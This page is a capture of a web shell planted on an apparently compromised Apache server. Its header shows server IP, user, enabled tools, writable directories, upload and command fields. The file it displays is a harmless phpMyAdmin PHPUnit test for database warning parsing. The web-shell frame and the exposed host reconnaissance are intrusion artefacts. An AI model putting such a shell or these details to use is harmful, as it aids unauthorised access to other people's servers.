403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/prod1.wondermakr.com/phpmyadmin/test/classes/Dbal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/prod1.wondermakr.com/phpmyadmin/test/classes/Dbal/WarningTest.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin\Tests\Dbal;

use PhpMyAdmin\Dbal\Warning;
use PHPUnit\Framework\TestCase;

/**
 * @covers \PhpMyAdmin\Dbal\Warning
 */
class WarningTest extends TestCase
{
    /**
     * @param mixed[] $row
     *
     * @dataProvider providerForTestWarning
     */
    public function testWarning(array $row, string $level, int $code, string $message, string $toString): void
    {
        $warning = Warning::fromArray($row);
        self::assertSame($level, $warning->level);
        self::assertSame($code, $warning->code);
        self::assertSame($message, $warning->message);
        self::assertSame($toString, (string) $warning);
    }

    /**
     * @return int[][]|string[][]|string[][][]
     * @psalm-return array{string[], string, int, string, string}[]
     */
    public static function providerForTestWarning(): array
    {
        return [
            [
                ['Level' => 'Error', 'Code' => '1046', 'Message' => 'No database selected'],
                'Error',
                1046,
                'No database selected',
                'Error: #1046 No database selected',
            ],
            [
                ['Level' => 'Warning', 'Code' => '0', 'Message' => ''],
                'Warning',
                0,
                '',
                'Warning: #0',
            ],
            [
                ['Level' => 'Note', 'Code' => '1', 'Message' => 'Message'],
                'Note',
                1,
                'Message',
                'Note: #1 Message',
            ],
            [
                ['Level' => 'Invalid', 'Code' => 'Invalid', 'Message' => 'Invalid'],
                '?',
                0,
                'Invalid',
                '?: #0 Invalid',
            ],
            [
                ['Level' => 'Unknown', 'Code' => '-1', 'Message' => ''],
                '?',
                0,
                '',
                '?: #0',
            ],
            [
                [],
                '?',
                0,
                '',
                '?: #0',
            ],
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit